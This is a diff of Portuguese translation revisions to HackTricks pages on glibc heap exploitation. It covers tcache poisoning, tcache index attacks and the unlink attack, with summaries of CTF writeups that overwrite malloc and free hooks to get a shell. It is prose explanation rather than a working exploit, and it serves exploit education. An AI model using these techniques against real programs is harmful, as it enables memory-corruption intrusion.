O **ataque ao Tcache** (também conhecido como **Tcache poisoning**) proposto na [**página guyinatuxido**](https://guyinatuxedo.github.io/29-tcache/tcache\_explanation/index.html) é muito semelhante ao ataque ao fast bin, onde o objetivo é sobrescrever o ponteiro para o próximo chunk no bin dentro de um chunk liberado para um endereço arbitrário, para mais tarde ser possível **alocar esse endereço específico e potencialmente sobrescrever ponteiros**.
|
O **ataque Tcache** (também conhecido como **envenenamento de Tcache**) proposto na [**página guyinatuxido**](https://guyinatuxedo.github.io/29-tcache/tcache\_explanation/index.html) é muito semelhante ao ataque de fast bin, onde o objetivo é sobrescrever o ponteiro para o próximo chunk no bin dentro de um chunk liberado para um endereço arbitrário, para que depois seja possível **alocar aquele endereço específico e potencialmente sobrescrever ponteiros**.
|
||||||
|
|
||||||
No entanto, atualmente, se você executar o código mencionado, receberá o erro: **`malloc(): unaligned tcache chunk detected`**. Portanto, é necessário escrever um endereço alinhado no novo ponteiro (ou executar o binário várias vezes para que o endereço escrito esteja realmente alinhado).
|
No entanto, atualmente, se você executar o código mencionado, receberá o erro: **`malloc(): unaligned tcache chunk detected`**. Portanto, é necessário escrever como endereço no novo ponteiro um endereço alinhado (ou executar o binário o suficiente para que o endereço escrito esteja realmente alinhado).
|
||||||
|
|
||||||
### Ataque aos índices do Tcache
|
### Tcache indexes attack
|
||||||
|
|
||||||
Normalmente, é possível encontrar no início do heap um chunk contendo a **quantidade de chunks por índice** dentro do tcache e o endereço do **chunk de cabeça de cada índice do tcache**. Se, por algum motivo, for possível modificar essas informações, seria possível **fazer o chunk de cabeça de algum índice apontar para um endereço desejado** (como `__malloc_hook`) para então alocar um chunk do tamanho do índice e sobrescrever o conteúdo de `__malloc_hook` neste caso.
|
Geralmente, é possível encontrar no início do heap um chunk contendo a **quantidade de chunks por índice** dentro do tcache e o endereço do **chunk cabeça de cada índice de tcache**. Se por algum motivo for possível modificar essa informação, seria possível **fazer o chunk cabeça de algum índice apontar para um endereço desejado** (como `__malloc_hook`) para então alocar um chunk do tamanho do índice e sobrescrever o conteúdo de `__malloc_hook` neste caso.
|
||||||
|
|
||||||
## Exemplos
|
## Examples
|
||||||
|
|
||||||
* CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19\_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19\_babyheap/index.html)
|
* CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19\_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19\_babyheap/index.html)
|
||||||
* **Vazamento de informações do Libc**: É possível preencher os tcaches, adicionar um chunk na lista não ordenada, esvaziar o tcache e **realocar o chunk da lista não ordenada** sobrescrevendo apenas os primeiros 8B, deixando o **segundo endereço para o libc do chunk intacto para que possamos lê-lo**.
|
* **Libc info leak**: É possível preencher os tcaches, adicionar um chunk na lista não ordenada, esvaziar o tcache e **re-alocar o chunk do bin não ordenado** apenas sobrescrevendo os primeiros 8B, deixando o **segundo endereço para libc do chunk intacto para que possamos lê-lo**.
|
||||||
* **Ataque ao Tcache**: O binário é vulnerável a um estouro de heap de 1B. Isso será abusado para alterar o **cabeçalho de tamanho** de um chunk alocado, tornando-o maior. Em seguida, este chunk será **liberado**, adicionando-o ao tcache de chunks do tamanho falso. Em seguida, alocaremos um chunk com o tamanho falsificado, e o chunk anterior será **retornado sabendo que este chunk era realmente menor** e isso nos dá a oportunidade de **sobrescrever o próximo chunk na memória**.\
|
* **Tcache attack**: O binário é vulnerável a um overflow de heap de 1B. Isso será abusado para mudar o **cabeçalho de tamanho** de um chunk alocado, tornando-o maior. Então, esse chunk será **liberado**, adicionando-o ao tcache de chunks de tamanho falso. Em seguida, alocaremos um chunk com o tamanho falso, e o chunk anterior será **retornado sabendo que esse chunk era na verdade menor**, e isso nos dá a oportunidade de **sobrescrever o próximo chunk na memória**.\
|
||||||
Vamos abusar disso para **sobrescrever o ponteiro FD do próximo chunk** para apontar para **`malloc_hook`**, então é possível alocar 2 ponteiros: primeiro o ponteiro legítimo que acabamos de modificar e, em seguida, a segunda alocação retornará um chunk em **`malloc_hook`** que pode ser abusado para escrever um **one gadget**.
|
Abusaremos disso para **sobrescrever o ponteiro FD do próximo chunk** para apontar para **`malloc_hook`**, para que então seja possível alocar 2 ponteiros: primeiro o ponteiro legítimo que acabamos de modificar, e então a segunda alocação retornará um chunk em **`malloc_hook`** que é possível abusar para escrever um **one gadget**.
|
||||||
* CTF [https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html)
|
* CTF [https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html)
|
||||||
* **Vazamento de informações do Libc**: Há um uso após free e um double free. Neste writeup, o autor vazou um endereço do libc lendo o endereço de um chunk colocado em um bin pequeno (como vazando-o do bin não ordenado, mas do pequeno).
|
* **Libc info leak**: Há um uso após a liberação e um duplo free. Neste writeup, o autor vazou um endereço da libc lendo o endereço de um chunk colocado em um bin pequeno (como vazando do bin não ordenado, mas do pequeno).
|
||||||
* **Ataque ao Tcache**: Um Tcache é realizado via um **double free**. O mesmo chunk é liberado duas vezes, então dentro do Tcache o chunk apontará para si mesmo. Em seguida, ele é alocado, seu ponteiro FD é modificado para apontar para o **free hook** e então é alocado novamente para que o próximo chunk na lista vá para o free hook. Em seguida, isso também é alocado e é possível escrever o endereço do `system` aqui, então quando um malloc contendo `"/bin/sh"` é liberado, obtemos um shell.
|
* **Tcache attack**: Um Tcache é realizado via um **duplo free**. O mesmo chunk é liberado duas vezes, então dentro do Tcache o chunk apontará para si mesmo. Em seguida, é alocado, seu ponteiro FD é modificado para apontar para o **free hook** e então é alocado novamente, de modo que o próximo chunk na lista estará no free hook. Então, isso também é alocado e é possível escrever o endereço de `system` aqui, para que quando um malloc contendo `"/bin/sh"` for liberado, consigamos uma shell.
|
||||||
* CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html)
|
* CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html)
|
||||||
* A principal vulnerabilidade aqui é a capacidade de `liberar` qualquer endereço no heap indicando seu deslocamento
|
* A principal vulnerabilidade aqui é a capacidade de `free` qualquer endereço no heap indicando seu offset.
|
||||||
* **Ataque aos índices do Tcache**: É possível alocar e liberar um chunk de um tamanho que, quando armazenado dentro do chunk do tcache (o chunk com as informações dos bins do tcache), gerará um **endereço com o valor 0x100**. Isso ocorre porque o tcache armazena a quantidade de chunks em cada bin em bytes diferentes, portanto um chunk em um índice específico gera o valor 0x100.
|
* **Tcache indexes attack**: É possível alocar e liberar um chunk de um tamanho que, quando armazenado dentro do chunk tcache (o chunk com as informações dos bins de tcache), gerará um **endereço com o valor 0x100**. Isso ocorre porque o tcache armazena a quantidade de chunks em cada bin em bytes diferentes, portanto, um chunk em um índice específico gera o valor 0x100.
|
||||||
* Em seguida, esse valor parece que há um chunk de tamanho 0x100. Permitindo abusar disso ao `liberar` este endereço. Isso irá **adicionar esse endereço ao índice de chunks de tamanho 0x100 no tcache**.
|
* Então, esse valor parece que há um chunk de tamanho 0x100. Permitindo abusar disso ao `free` esse endereço. Isso **adicionará esse endereço ao índice de chunks de tamanho 0x100 no tcache**.
|
||||||
* Em seguida, **alocando** um chunk de tamanho **0x100**, o endereço anterior será retornado como um chunk, permitindo sobrescrever outros índices do tcache.\
|
* Então, **alocando** um chunk de tamanho **0x100**, o endereço anterior será retornado como um chunk, permitindo sobrescrever outros índices de tcache.\
|
||||||
Por exemplo, colocar o endereço do gancho malloc em um deles e alocar um chunk do tamanho desse índice concederá um chunk no gancho calloc, o que permite escrever um one gadget para obter um shell.
|
Por exemplo, colocando o endereço do malloc hook em um deles e alocando um chunk do tamanho desse índice garantirá um chunk no calloc hook, o que permite escrever um one gadget para obter uma shell.
|
||||||
* CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html)
|
* CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html)
|
||||||
* Mesma vulnerabilidade que antes com uma restrição extra
|
* Mesma vulnerabilidade que antes com uma restrição extra.
|
||||||
* **Ataque aos índices do Tcache**: Ataque semelhante ao anterior, mas usando menos etapas ao **liberar o chunk que contém as informações do tcache** para que seu endereço seja adicionado ao índice do tcache de seu tamanho, permitindo alocar esse tamanho e obter as informações do chunk do tcache como um chunk, o que permite adicionar o gancho free como o endereço de um índice, alocá-lo e escrever um one gadget nele.
|
* **Tcache indexes attack**: Ataque semelhante ao anterior, mas usando menos etapas ao **liberar o chunk que contém as informações do tcache**, de modo que seu endereço seja adicionado ao índice de tcache de seu tamanho, permitindo alocar esse tamanho e obter as informações do chunk de tcache como um chunk, o que permite adicionar o free hook como o endereço de um índice, alocá-lo e escrever um one gadget nele.
|
||||||
* [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
|
* [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
|
||||||
* **Write After Free** para adicionar um número ao ponteiro `fd`.
|
* **Write After Free** para adicionar um número ao ponteiro `fd`.
|
||||||
* Muito **heap feng-shui** é necessário neste desafio. O writeup mostra como **controlar a cabeça da lista livre do Tcache** é bastante útil.
|
* Muito de **heap feng-shui** é necessário neste desafio. O writeup mostra como **controlar a cabeça da lista livre do Tcache** é bastante útil.
|
||||||
* **Vazamento do Glibc** através do `stdout` (FSOP).
|
* **Glibc leak** através de `stdout` (FSOP).
|
||||||
* **Tcache poisoning** para obter um primitivo de escrita arbitrário.
|
* **Tcache poisoning** para obter uma primitiva de escrita arbitrária.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking na AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking no GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do Telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,23 +1,23 @@
|
||||||
# Ataque Unlink
|
# Unlink Attack
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Informações Básicas
|
## Informações Básicas
|
||||||
|
|
||||||
Quando este ataque foi descoberto, principalmente permitia um WWW (Write What Where), no entanto, alguns **checks foram adicionados** tornando a nova versão do ataque mais interessante e mais complexa e **inútil**.
|
Quando este ataque foi descoberto, ele permitia principalmente um WWW (Write What Where), no entanto, algumas **verificações foram adicionadas**, tornando a nova versão do ataque mais interessante, mais complexa e **inútil**.
|
||||||
|
|
||||||
### Exemplo de Código:
|
### Exemplo de Código:
|
||||||
|
|
||||||
|
@ -94,48 +94,48 @@ return 0;
|
||||||
|
|
||||||
### Objetivo
|
### Objetivo
|
||||||
|
|
||||||
Este ataque permite **alterar um ponteiro para um chunk para apontar 3 endereços antes de si mesmo**. Se esta nova localização (arredores de onde o ponteiro estava localizado) tiver informações interessantes, como outras alocações controláveis / pilha..., é possível ler/sobrescrevê-las para causar um dano maior.
|
Este ataque permite **mudar um ponteiro para um chunk para apontar 3 endereços antes de si mesmo**. Se este novo local (cercanias de onde o ponteiro estava localizado) tiver coisas interessantes, como outras alocações controláveis / pilha..., é possível ler/escrever nelas para causar um dano maior.
|
||||||
|
|
||||||
* Se este ponteiro estava localizado na pilha, porque agora está apontando 3 endereços antes de si mesmo e o usuário potencialmente pode lê-lo e modificá-lo, será possível vazar informações sensíveis da pilha ou até mesmo modificar o endereço de retorno (talvez) sem tocar no canário
|
* Se este ponteiro estava localizado na pilha, porque agora está apontando 3 endereços antes de si mesmo e o usuário potencialmente pode lê-lo e modificá-lo, será possível vazar informações sensíveis da pilha ou até mesmo modificar o endereço de retorno (talvez) sem tocar no canário.
|
||||||
* Em exemplos de CTF, este ponteiro está localizado em um array de ponteiros para outras alocações, portanto, fazendo-o apontar 3 endereços antes e sendo capaz de ler e escrever nele, é possível fazer com que os outros ponteiros apontem para outros endereços.\
|
* Em exemplos de CTF, este ponteiro está localizado em um array de ponteiros para outras alocações, portanto, fazendo-o apontar 3 endereços antes e sendo capaz de ler e escrever, é possível fazer com que os outros ponteiros apontem para outros endereços.\
|
||||||
Como potencialmente o usuário pode ler/escrever também as outras alocações, ele pode vazar informações ou sobrescrever novos endereços em locais arbitrários (como na GOT).
|
Como potencialmente o usuário pode ler/escrever também as outras alocações, ele pode vazar informações ou sobrescrever novos endereços em locais arbitrários (como no GOT).
|
||||||
|
|
||||||
### Requisitos
|
### Requisitos
|
||||||
|
|
||||||
* Algum controle em uma memória (por exemplo, pilha) para criar um par de chunks dando valores a alguns dos atributos.
|
* Algum controle em uma memória (por exemplo, pilha) para criar alguns chunks dando valores a alguns dos atributos.
|
||||||
* Vazamento de pilha para definir os ponteiros do chunk falso.
|
* Vazar a pilha para definir os ponteiros do chunk falso.
|
||||||
|
|
||||||
### Ataque
|
### Ataque
|
||||||
|
|
||||||
* Existem um par de chunks (chunk1 e chunk2)
|
* Existem alguns chunks (chunk1 e chunk2)
|
||||||
* O atacante controla o conteúdo do chunk1 e os cabeçalhos do chunk2.
|
* O atacante controla o conteúdo do chunk1 e os cabeçalhos do chunk2.
|
||||||
* No chunk1, o atacante cria a estrutura de um chunk falso:
|
* No chunk1, o atacante cria a estrutura de um chunk falso:
|
||||||
* Para contornar proteções, ele garante que o campo `size` está correto para evitar o erro: `corrupted size vs. prev_size while consolidating`
|
* Para contornar as proteções, ele se certifica de que o campo `size` está correto para evitar o erro: `corrupted size vs. prev_size while consolidating`
|
||||||
* e os campos `fd` e `bk` do chunk falso estão apontando para onde o ponteiro do chunk1 está armazenado com deslocamentos de -3 e -2 respectivamente, então `fake_chunk->fd->bk` e `fake_chunk->bk->fd` apontam para a posição na memória (pilha) onde o endereço real do chunk1 está localizado:
|
* e os campos `fd` e `bk` do chunk falso estão apontando para onde o ponteiro chunk1 está armazenado com offsets de -3 e -2 respectivamente, então `fake_chunk->fd->bk` e `fake_chunk->bk->fd` apontam para a posição na memória (pilha) onde o endereço real do chunk1 está localizado:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
|
||||||
|
|
||||||
* Os cabeçalhos do chunk2 são modificados para indicar que o chunk anterior não está em uso e que o tamanho é o tamanho do chunk falso contido.
|
* Os cabeçalhos do chunk2 são modificados para indicar que o chunk anterior não está em uso e que o tamanho é o tamanho do chunk falso contido.
|
||||||
* Quando o segundo chunk é liberado, então este chunk falso é desvinculado acontecendo:
|
* Quando o segundo chunk é liberado, então este chunk falso é desassociado, ocorrendo:
|
||||||
* `fake_chunk->fd->bk` = `fake_chunk->bk`
|
* `fake_chunk->fd->bk` = `fake_chunk->bk`
|
||||||
* `fake_chunk->bk->fd` = `fake_chunk->fd`
|
* `fake_chunk->bk->fd` = `fake_chunk->fd`
|
||||||
* Anteriormente foi feito com que `fake_chunk->fd->bk` e `fake_chunk->bk->fd` apontassem para o mesmo lugar (a localização na pilha onde `chunk1` estava armazenado, então era uma lista vinculada válida). Como **ambos estão apontando para a mesma localização**, apenas o último (`fake_chunk->bk->fd = fake_chunk->fd`) terá **efeito**.
|
* Anteriormente, foi feito para que `fake_chunk->fd->bk` e `fake_chunk->bk->fd` apontem para o mesmo lugar (a localização na pilha onde `chunk1` estava armazenado, então era uma lista encadeada válida). Como **ambos estão apontando para o mesmo local**, apenas o último (`fake_chunk->bk->fd = fake_chunk->fd`) terá **efeito**.
|
||||||
* Isso irá **sobrescrever o ponteiro para o chunk1 na pilha para o endereço (ou bytes) armazenados 3 endereços antes na pilha**.
|
* Isso irá **sobrescrever o ponteiro para chunk1 na pilha para o endereço (ou bytes) armazenados 3 endereços antes na pilha**.
|
||||||
* Portanto, se um atacante puder controlar o conteúdo do chunk1 novamente, ele será capaz de **escrever dentro da pilha**, podendo potencialmente sobrescrever o endereço de retorno pulando o canário e modificar os valores e ponteiros das variáveis locais. Até mesmo modificando novamente o endereço do chunk1 armazenado na pilha para uma localização diferente onde, se o atacante puder controlar novamente o conteúdo do chunk1, ele será capaz de escrever em qualquer lugar.
|
* Portanto, se um atacante puder controlar o conteúdo do chunk1 novamente, ele será capaz de **escrever dentro da pilha**, podendo potencialmente sobrescrever o endereço de retorno pulando o canário e modificar os valores e pontos de variáveis locais. Mesmo modificando novamente o endereço do chunk1 armazenado na pilha para um local diferente onde, se o atacante puder controlar novamente o conteúdo do chunk1, ele poderá escrever em qualquer lugar.
|
||||||
* Note que isso foi possível porque os **endereços são armazenados na pilha**. O risco e a exploração podem depender de **onde os endereços para o chunk falso estão sendo armazenados**.
|
* Note que isso foi possível porque os **endereços estão armazenados na pilha**. O risco e a exploração podem depender de **onde os endereços do chunk falso estão sendo armazenados**.
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
|
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
|
||||||
* Embora seja estranho encontrar um ataque de unlink mesmo em um CTF, aqui estão alguns writeups onde esse ataque foi usado:
|
* Embora seria estranho encontrar um ataque unlink mesmo em um CTF, aqui você tem alguns writeups onde este ataque foi usado:
|
||||||
* Exemplo de CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
|
* Exemplo de CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
|
||||||
* Neste exemplo, em vez da pilha, há um array de endereços malloc'ed. O ataque de unlink é realizado para poder alocar um chunk aqui, sendo assim capaz de controlar os ponteiros do array de endereços malloc'ed. Em seguida, há outra funcionalidade que permite modificar o conteúdo dos chunks nesses endereços, o que permite apontar endereços para a GOT, modificar endereços de funções para obter vazamentos e RCE.
|
* Neste exemplo, em vez da pilha, há um array de endereços malloc'ed. O ataque unlink é realizado para poder alocar um chunk aqui, portanto, sendo capaz de controlar os ponteiros do array de endereços malloc'ed. Então, há outra funcionalidade que permite modificar o conteúdo dos chunks nesses endereços, o que permite apontar endereços para o GOT, modificar endereços de função para obter vazamentos e RCE.
|
||||||
* Outro exemplo de CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
|
* Outro exemplo de CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
|
||||||
* Assim como no exemplo anterior, há um array de endereços de alocações. É possível realizar um ataque de unlink para fazer o endereço da primeira alocação apontar algumas posições antes de começar o array e sobrescrever essa alocação na nova posição. Portanto, é possível sobrescrever ponteiros de outras alocações para apontar para a GOT de atoi, imprimi-la para obter um vazamento de libc e, em seguida, sobrescrever a GOT de atoi com o endereço de um one gadget.
|
* Assim como no exemplo anterior, há um array de endereços de alocações. É possível realizar um ataque unlink para fazer o endereço da primeira alocação apontar algumas posições antes de começar o array e sobrescrever esta alocação na nova posição. Portanto, é possível sobrescrever ponteiros de outras alocações para apontar para o GOT de atoi, imprimi-lo para obter um vazamento de libc e, em seguida, sobrescrever o GOT de atoi com o endereço de um gadget.
|
||||||
* Exemplo de CTF com funções malloc e free personalizadas que exploram uma vulnerabilidade muito semelhante ao ataque de unlink: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
|
* Exemplo de CTF com funções de malloc e free personalizadas que abusam de uma vulnerabilidade muito semelhante ao ataque unlink: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
|
||||||
* Há um estouro que permite controlar os ponteiros FD e BK do malloc personalizado que será liberado (personalizado). Além disso, o heap tem o bit exec, então é possível vazar um endereço de heap e apontar uma função da GOT para um chunk de heap com um shellcode para executar.
|
* Há um overflow que permite controlar os ponteiros FD e BK do malloc personalizado que serão (custom) liberados. Além disso, o heap tem o bit de execução, então é possível vazar um endereço do heap e apontar uma função do GOT para um chunk do heap com um shellcode para executar.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -143,11 +143,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos no** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Ataque ao Unsorted Bin
|
# Ataque de Bin Não Ordenado
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -6,65 +6,65 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
